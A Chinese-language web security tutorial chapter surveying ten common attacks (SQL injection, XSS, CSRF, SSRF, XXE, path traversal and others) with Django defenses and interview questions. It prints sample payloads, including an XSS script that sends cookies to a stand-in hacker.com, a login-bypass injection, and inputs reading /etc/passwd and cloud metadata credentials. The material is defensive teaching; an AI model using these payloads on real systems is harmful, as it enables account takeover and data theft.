01-3. 常見攻擊類型概覽

⏱️ 閱讀時間： 12 分鐘 🎯 難度： ⭐⭐ (簡單) ⚠️ 提醒： 本文內容僅供學習與防禦用途

🎯 本篇重點

快速認識 10 種最常見的 Web 攻擊類型，理解攻擊原理、危害程度、真實案例，為後續深入學習打下基礎。

📊 攻擊類型總覽

10 大常見攻擊

💉 1. SQL Injection（SQL 注入）

攻擊原理

在輸入中注入惡意 SQL 指令，竊取或破壞資料庫

正常查詢：
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'

攻擊輸入：
username: admin' --
password: （隨便輸入）

實際執行：
SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
                                            ↑
                                         註解掉後面的密碼檢查

結果：不需要密碼就能登入！

生活比喻

情境：餐廳點餐

正常：「我要一份牛肉麵」
服務生：「好的，一份牛肉麵」

攻擊：「我要一份牛肉麵，還有把廚房所有食材給我」
服務生：（沒有檢查）「好的」
結果：你拿走了所有食材！

SQL Injection 就像是偷偷在訂單上加入額外指令

危害程度

🔥 極高危害：

可能後果：
├─ 竊取整個資料庫
├─ 刪除所有資料（DROP TABLE）
├─ 修改資料（升級為管理員）
├─ 繞過登入驗證
└─ 執行作業系統指令（某些情況）

真實案例：
- Yahoo（2012）：45 萬用戶資料外洩
- Sony（2011）：7700 萬用戶資料外洩

防禦方法（預告）

# ❌ 危險：字串拼接
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ 安全：Prepared Statements
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))

# ✅ Django ORM 自動防禦
User.objects.filter(username=username)

詳細教學： 02-1 ~ 02-3 章節

⚠️ 2. XSS（Cross-Site Scripting，跨站腳本攻擊）

攻擊原理

在網頁中注入惡意 JavaScript，竊取用戶資料或執行惡意操作

正常留言：
<div>這是我的留言</div>

攻擊留言：
<script>
  // 竊取 Cookie 並發送到駭客伺服器
  document.location='http://hacker.com/steal?cookie='+document.cookie;
</script>

結果：
其他用戶瀏覽時，他們的 Cookie 被竊取
駭客可以冒充這些用戶登入！

生活比喻

情境：公共佈告欄

正常：你貼一張「徵室友」海報
攻擊：你貼一張「掃描此 QR Code 領 $1000」海報
      實際上會竊取掃描者的個資

XSS 就像是在公共空間留下惡意內容
讓其他訪客受害

三種類型

1. Reflected XSS（反射型）
   ├─ 攻擊代碼在 URL 中
   ├─ 誘騙用戶點擊惡意連結
   └─ 範例：http://example.com/search?q=<script>惡意代碼</script>

2. Stored XSS（儲存型）
   ├─ 攻擊代碼儲存在資料庫
   ├─ 所有瀏覽該頁面的用戶都會中招
   └─ 危害最大

3. DOM-based XSS
   ├─ 攻擊在客戶端 JavaScript 中執行
   └─ 不經過伺服器

危害程度

🔥 高危害：

可能後果：
├─ 竊取 Cookie/Session
├─ 冒充用戶身份
├─ 竊取用戶輸入（鍵盤記錄）
├─ 釣魚攻擊（假登入框）
├─ 散播蠕蟲病毒
└─ 竊改網頁內容

真實案例：
- Twitter（2010）：XSS 蠕蟲，自動轉推惡意推文
- MySpace（2005）：Samy 蠕蟲，1 天感染 100 萬用戶

防禦方法（預告）

# ❌ 危險：直接輸出用戶輸入
return f"<div>歡迎, {username}</div>"

# ✅ 安全：HTML 轉義
from django.utils.html import escape
return f"<div>歡迎, {escape(username)}</div>"

# ✅ Django Template 自動轉義
# template.html
<div>歡迎, {{ username }}</div>  <!-- 自動轉義 -->

詳細教學： 03-1 ~ 03-6 章節

🎯 3. CSRF（Cross-Site Request Forgery，跨站請求偽造）

攻擊原理

誘騙已登入用戶執行非預期的操作

情境：你已登入銀行網站

步驟：
1. 你登入 bank.com
2. 駭客誘騙你訪問惡意網站 evil.com
3. evil.com 自動發送請求到 bank.com：
   POST /transfer
   to_account=hacker
   amount=10000
4. 因為你還在登入狀態，銀行認為是你本人操作
5. 錢被轉走！

生活比喻

情境：委託書詐騙

正常：你簽署委託書，委託朋友幫你領包裹
攻擊：朋友趁你不注意，在委託書上加了「可領現金」
      然後去銀行用你的委託書領走你的錢

CSRF 就像是偽造你的授權
在你不知情的情況下執行操作

危害程度

🔥 高危害：

可能後果：
├─ 轉帳匯款
├─ 修改密碼/Email
├─ 刪除帳號
├─ 發送垃圾訊息
├─ 修改個人資料
└─ 執行管理員操作

真實案例：
- YouTube（2008）：CSRF 漏洞，可刪除任何影片
- Gmail（2007）：CSRF 可修改 Email 過濾規則

防禦方法（預告）

# ✅ Django 自動防禦 CSRF
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def transfer_money(request):
    if request.method == 'POST':
        # Django 自動驗證 CSRF Token
        to_account = request.POST.get('to_account')
        amount = request.POST.get('amount')
        # 執行轉帳...

# HTML 表單需要加入 CSRF Token
<form method="post">
    {% csrf_token %}  <!-- Django 自動生成 -->
    <input name="to_account">
    <input name="amount">
    <button>轉帳</button>
</form>

詳細教學： 05-1 ~ 05-4 章節

🚪 4. Broken Access Control（存取控制漏洞）

攻擊原理

繞過權限檢查，存取未授權的資料或功能

常見漏洞：

1. IDOR（不安全的直接物件引用）
   正常：GET /api/user/123/profile （你的 ID）
   攻擊：GET /api/user/456/profile （別人的 ID）
   結果：看到別人的個人資料

2. Path Traversal（目錄遍歷）
   正常：GET /download?file=report.pdf
   攻擊：GET /download?file=../../../../etc/passwd
   結果：讀取伺服器系統檔案

3. 權限提升
   攻擊：修改請求中的 role=admin
   結果：普通用戶變成管理員

生活比喻

情境：飯店房間

正常：你用房卡開 101 號房（你的房間）
漏洞：你發現房卡可以開 102, 103... 所有房間
攻擊：你進入別人的房間，偷走財物

存取控制漏洞就像是門鎖形同虛設
任何人都能進入任何房間

危害程度

🔥 極高危害（OWASP Top 10 #1）：

可能後果：
├─ 存取他人私人資料
├─ 修改他人資料
├─ 刪除重要檔案
├─ 執行管理員功能
└─ 竊取敏感文件

真實案例：
- Facebook（2018）：5000 萬用戶 Token 外洩
- Uber（2016）：5700 萬用戶與司機資料外洩

防禦方法（預告）

# ❌ 危險：沒有檢查權限
def view_profile(request, user_id):
    profile = Profile.objects.get(user_id=user_id)
    return render(request, 'profile.html', {'profile': profile})

# ✅ 安全：檢查權限
def view_profile_secure(request, user_id):
    # 確保只能看自己的資料
    if request.user.id != user_id:
        return HttpResponseForbidden("無權存取")

    profile = Profile.objects.get(user_id=user_id)
    return render(request, 'profile.html', {'profile': profile})

詳細教學： 06-1 ~ 06-5 章節

🌐 5. SSRF（Server-Side Request Forgery，伺服器端請求偽造）

攻擊原理

誘騙伺服器發送請求到內部網路或雲端 Metadata

攻擊流程：

正常功能：
POST /api/fetch-url
url=https://example.com

攻擊：
POST /api/fetch-url
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
     ↑
     AWS Metadata API（內部網路）

結果：
伺服器訪問內部 API，回傳 AWS 憑證
駭客取得 AWS 存取權限！

生活比喻

情境：快遞代收

正常：你請快遞員幫你拿外面商店的包裹
攻擊：你請快遞員「去老闆辦公室拿機密文件」
      因為快遞員有內部通行證，老闆以為是自己人
結果：快遞員把機密文件給了你

SSRF 就像是利用伺服器的內部權限
去存取原本你無法存取的資源

危害程度

🔥 極高危害（OWASP Top 10 #10，雲端時代最危險）：

可能後果：
├─ 竊取雲端憑證（AWS/GCP/Azure）
├─ 掃描內部網路
├─ 存取內部 API
├─ 讀取本地檔案
└─ 發動內部攻擊

真實案例：
- Capital One（2019）：SSRF 導致 1 億用戶資料外洩
  駭客利用 SSRF 竊取 AWS IAM 憑證，下載 S3 資料

防禦方法（預告）

# ❌ 危險：沒有驗證 URL
import requests

def fetch_url(request):
    url = request.POST.get('url')
    response = requests.get(url)  # 危險！
    return HttpResponse(response.text)

# ✅ 安全：白名單驗證
def fetch_url_secure(request):
    url = request.POST.get('url')

    # 檢查 URL 是否在白名單
    allowed_hosts = ['example.com', 'trusted.com']
    parsed = urlparse(url)

    if parsed.hostname not in allowed_hosts:
        return HttpResponseBadRequest("不允許的 URL")

    # 阻擋內部 IP
    if parsed.hostname in ['localhost', '127.0.0.1']:
        return HttpResponseBadRequest("不允許訪問內部網路")

    response = requests.get(url, timeout=5)
    return HttpResponse(response.text)

詳細教學： 09-3 章節

🔓 6. Insecure Deserialization（不安全的反序列化）

攻擊原理

反序列化不可信的資料，導致遠端程式碼執行（RCE）

序列化：物件 → 字串（用於儲存或傳輸）
反序列化：字串 → 物件

攻擊：
精心構造的序列化資料 → 反序列化時執行惡意代碼

範例（Python pickle）：
import pickle

# 攻擊者傳送：
malicious_data = b"惡意構造的 pickle 資料"

# 受害者執行：
obj = pickle.loads(malicious_data)
# → 駭客的代碼被執行！可能執行 os.system('rm -rf /')

生活比喻

情境：收到包裹

正常：你收到朋友寄的禮物盒，打開是蛋糕
攻擊：駭客寄給你「看起來像禮物盒」的包裹
      打開後會爆炸

不安全的反序列化就像是打開不明包裹
可能觸發惡意機關

危害程度

🔥 極高危害（可能 RCE - 遠端程式碼執行）：

可能後果：
├─ 執行任意系統指令
├─ 完全控制伺服器
├─ 竊取所有資料
├─ 刪除整個系統
└─ 植入後門

真實案例：
- Equifax（2017）：Apache Struts 反序列化漏洞
  1.47 億用戶資料外洩，賠償 5.75 億美元
- Atlassian Confluence（2023）：反序列化 RCE

防禦方法（預告）

# ❌ 極度危險：pickle 反序列化不可信資料
import pickle

def load_data(request):
    data = request.body
    obj = pickle.loads(data)  # 非常危險！
    return JsonResponse(obj)

# ✅ 安全：使用 JSON
import json

def load_data_secure(request):
    data = request.body
    obj = json.loads(data)  # JSON 只能表示資料，無法執行代碼
    return JsonResponse(obj)

# Django Session 預設使用 JSON，不使用 pickle

詳細教學： 09-2 章節

📂 7. Path Traversal（目錄遍歷）

攻擊原理

利用 ../ 存取上層目錄，讀取系統檔案

正常請求：
GET /download?file=report.pdf
→ 讀取 /uploads/report.pdf

攻擊請求：
GET /download?file=../../../../etc/passwd
→ 讀取 /etc/passwd（系統密碼檔案）

路徑解析：
/uploads/../../../../etc/passwd
= /uploads/../../../etc/passwd
= /etc/passwd

生活比喻

情境：圖書館借書

正常：你在「新書區」借書
攻擊：你告訴管理員「我要借 ../../../館長辦公室/機密文件」
      管理員沒有檢查，就把機密文件給了你

Path Traversal 就像是利用相對路徑
存取不該存取的區域

危害程度

🔥 高危害：

可能後果：
├─ 讀取系統檔案（/etc/passwd, /etc/shadow）
├─ 讀取應用程式配置（database.yml）
├─ 讀取原始碼
├─ 讀取其他用戶的檔案
└─ 可能結合其他漏洞執行代碼

常見目標檔案：
- /etc/passwd（用戶列表）
- /etc/shadow（密碼哈希）
- ~/.ssh/id_rsa（SSH 私鑰）
- /var/log/apache2/access.log（日誌）

防禦方法（預告）

# ❌ 危險：直接拼接路徑
import os

def download_file(request):
    filename = request.GET.get('file')
    path = f'/uploads/{filename}'  # 危險！
    with open(path, 'rb') as f:
        return HttpResponse(f.read())

# ✅ 安全：驗證檔案名稱
import os
from pathlib import Path

def download_file_secure(request):
    filename = request.GET.get('file')

    # 移除路徑分隔符
    filename = os.path.basename(filename)

    # 確保檔案在允許的目錄內
    base_dir = Path('/uploads')
    file_path = (base_dir / filename).resolve()

    if not str(file_path).startswith(str(base_dir)):
        return HttpResponseBadRequest("不合法的檔案路徑")

    with open(file_path, 'rb') as f:
        return HttpResponse(f.read())

詳細教學： 06-2 章節

📄 8. XXE（XML External Entity）

攻擊原理

在 XML 中定義外部實體，讀取檔案或發動 SSRF

正常 XML：
<?xml version="1.0"?>
<user>
  <name>John</name>
  <email>john@example.com</email>
</user>

攻擊 XML：
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <email>john@example.com</email>
</user>

結果：name 欄位會包含 /etc/passwd 的內容

生活比喻

情境：填寫表單

正常：你在「姓名」欄位寫 "張三"
攻擊：你寫 "請把公司機密文件複製到這裡"
      表單系統真的執行了指令

XXE 就像是在表單中插入指令
讓系統執行非預期的操作

危害程度

🔥 高危害：

可能後果：
├─ 讀取本地檔案
├─ SSRF（訪問內部網路）
├─ DoS（Billion Laughs Attack）
├─ 竊取敏感資料
└─ 執行系統指令（某些情況）

真實案例：
- Facebook（2012）：XXE 漏洞，獎金 $33,500
- Google（2014）：XXE 漏洞

防禦方法（預告）

# ❌ 危險：使用不安全的 XML 解析器
import xml.etree.ElementTree as ET

def parse_xml(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)  # 預設允許外部實體
    return JsonResponse({'name': tree.find('name').text})

# ✅ 安全：禁用外部實體
import defusedxml.ElementTree as ET

def parse_xml_secure(request):
    xml_data = request.body
    tree = ET.fromstring(xml_data)  # defusedxml 預設禁用外部實體
    return JsonResponse({'name': tree.find('name').text})

詳細教學： 09-1 章節

🔑 9. Authentication Failures（身份驗證失敗）

常見漏洞

1. 弱密碼策略
   ├─ 允許 "123456"、"password"
   ├─ 沒有最小長度要求
   └─ 沒有複雜度要求

2. 暴力破解
   ├─ 沒有登入嘗試次數限制
   ├─ 沒有驗證碼
   └─ 沒有帳號鎖定機制

3. Session 管理問題
   ├─ Session ID 可預測
   ├─ Session 永不過期
   ├─ 登出後 Session 仍有效
   └─ Session Fixation

4. 憑證外洩
   ├─ 密碼明文儲存
   ├─ API 金鑰硬編碼
   └─ 密碼在 URL 中傳輸

危害程度

🔥 高危害（OWASP Top 10 #7）：

可能後果：
├─ 帳號被盜用
├─ 身份冒充
├─ 未授權存取
└─ 資料外洩

防禦方法（預告）

# ✅ Django 最佳實踐
# settings.py

# 密碼驗證
AUTH_PASSWORD_VALIDATORS = [
    {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
     'OPTIONS': {'min_length': 8}},
    {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'},
    {'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'},
]

# Session 安全
SESSION_COOKIE_SECURE = True  # 只透過 HTTPS
SESSION_COOKIE_HTTPONLY = True  # 防止 JavaScript 存取
SESSION_COOKIE_AGE = 3600  # 1 小時後過期

# 登入嘗試限制
from django.core.cache import cache

def login_view(request):
    ip = request.META.get('REMOTE_ADDR')
    attempts = cache.get(f'login_attempts_{ip}', 0)

    if attempts > 5:
        return HttpResponse("登入嘗試過多，請 30 分鐘後再試")

    # 登入邏輯...

詳細教學： 04-1 ~ 04-6 章節

⚙️ 10. Security Misconfiguration（安全配置錯誤）

常見錯誤配置

1. Debug 模式開啟
   ├─ 洩漏敏感資訊
   ├─ 顯示完整錯誤訊息
   └─ 暴露系統架構

2. 預設帳密未修改
   ├─ admin/admin
   ├─ root/root
   └─ 資料庫預設密碼

3. 不必要的服務開啟
   ├─ FTP、Telnet
   ├─ phpMyAdmin
   └─ 管理後台對外開放

4. 缺少安全 Headers
   ├─ 沒有 HSTS
   ├─ 沒有 CSP
   └─ 沒有 X-Frame-Options

5. 軟體版本過舊
   ├─ 已知漏洞未修補
   └─ 不再維護的套件

危害程度

🔥 中高危害（OWASP Top 10 #5）：

可能後果：
├─ 洩漏系統資訊
├─ 未授權存取
├─ 已知漏洞被利用
└─ 完全控制系統

防禦方法（預告）

# ✅ Django 生產環境配置
# settings.py

# 關閉 Debug
DEBUG = False

# 安全 Headers
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SECURE_BROWSER_XSS_FILTER = True
X_FRAME_OPTIONS = 'DENY'

# 隱藏版本資訊
SECURE_REFERRER_POLICY = 'same-origin'

# 允許的 Hosts
ALLOWED_HOSTS = ['example.com', 'www.example.com']

# 定期更新套件
# pip install --upgrade django
# pip-audit（檢查已知漏洞）

詳細教學： 08-6 章節

📊 攻擊類型對比總結

按危害程度排序

🔥 極高危害（可能完全控制系統）：
├─ SQL Injection（竊取/刪除資料庫）
├─ Insecure Deserialization（RCE）
├─ SSRF（竊取雲端憑證）
└─ Broken Access Control（存取所有資料）

🔥 高危害（嚴重影響用戶）：
├─ XSS（竊取帳號）
├─ CSRF（執行非預期操作）
├─ Path Traversal（讀取系統檔案）
├─ XXE（讀取檔案/SSRF）
└─ Authentication Failures（帳號被盜）

🔥 中高危害（可能導致其他攻擊）：
└─ Security Misconfiguration（暴露系統弱點）

按面試頻率排序

⭐⭐⭐ 必考（100% 會問）：
├─ SQL Injection
├─ XSS
└─ CSRF

⭐⭐ 常考（70-80% 會問）：
├─ Broken Access Control
├─ SSRF（雲端崗位更高）
├─ Authentication Failures
└─ Security Misconfiguration

⭐ 偶爾考（30-50% 會問）：
├─ Insecure Deserialization
├─ Path Traversal
└─ XXE

按學習優先級

🔥 第一優先（面試必考 + 實務常見）：
1. SQL Injection
2. XSS
3. CSRF

⚡ 第二優先（實務重要 + 可能面試）：
4. Broken Access Control (IDOR, Path Traversal)
5. Authentication Failures
6. SSRF（雲端開發必學）

💡 第三優先（深入學習）：
7. Insecure Deserialization
8. XXE
9. Security Misconfiguration

🎓 面試常考題

Q1：說出 OWASP Top 10 中的前 5 名

A：OWASP Top 10 (2021) 前 5 名

A01: Broken Access Control（存取控制失效）
A02: Cryptographic Failures（加密失敗）
A03: Injection（注入攻擊，包含 SQL Injection、XSS）
A04: Insecure Design（不安全設計）
A05: Security Misconfiguration（安全配置錯誤）

面試技巧：
- 記住前 3 名一定要答對
- 最好能舉例說明每一種攻擊
- 額外加分：說出對應的防禦方法

Q2：SQL Injection 和 XSS 的差異？

A：攻擊目標與影響範圍不同

SQL Injection：
├─ 目標：資料庫
├─ 注入位置：後端 SQL 查詢
├─ 影響：整個資料庫（所有用戶）
├─ 後果：竊取/刪除/修改資料
└─ 防禦：Prepared Statements

XSS：
├─ 目標：其他用戶的瀏覽器
├─ 注入位置：前端網頁
├─ 影響：瀏覽該頁面的用戶
├─ 後果：竊取 Cookie、冒充身份
└─ 防禦：輸出編碼、CSP

共同點：都是「注入」攻擊，注入惡意代碼

Q3：什麼情況下 SSRF 最危險？

A：雲端環境（AWS/GCP/Azure）

原因：
雲端提供 Metadata API，提供敏感資訊

AWS 範例：
http://169.254.169.254/latest/meta-data/iam/security-credentials/

如果 SSRF 可以訪問此 API：
1. 取得 IAM 角色憑證
2. 使用憑證存取 AWS 資源
3. 讀取 S3 bucket（資料庫備份等）
4. 完全控制雲端環境

真實案例：
Capital One（2019）：SSRF → 竊取 AWS 憑證 → 1 億用戶資料外洩

防禦：
✅ 禁止訪問 169.254.169.254
✅ 使用 IMDSv2（需要 Token）
✅ 網路隔離

✅ 重點回顧

10 大常見攻擊：

第一優先（面試必考）：

• 💉 SQL Injection：注入惡意 SQL，竊取資料庫
• ⚠️ XSS：注入惡意 JavaScript，竊取 Cookie
• 🎯 CSRF：偽造請求，執行非預期操作

第二優先（實務重要）：

• 🚪 Broken Access Control：繞過權限，存取未授權資料
• 🌐 SSRF：偽造伺服器請求，竊取雲端憑證
• 🔑 Authentication Failures：身份驗證漏洞

第三優先（進階學習）：

• 🔓 Insecure Deserialization：反序列化攻擊，可能 RCE
• 📂 Path Traversal：目錄遍歷，讀取系統檔案
• 📄 XXE：XML 外部實體，讀取檔案
• ⚙️ Security Misconfiguration：配置錯誤

學習順序：

1. 先學三大必考：SQL Injection、XSS、CSRF
2. 再學實務重要：Access Control、SSRF、Authentication
3. 最後深入進階：Deserialization、XXE、Misconfiguration

記憶口訣： 「注跨偽權服認」= 注入、跨站、偽造、權限、服務器、認證

上一篇： 01-2. CIA 三元組 下一篇： 01-4. 攻擊者思維 vs 防禦者思維

最後更新：2025-01-16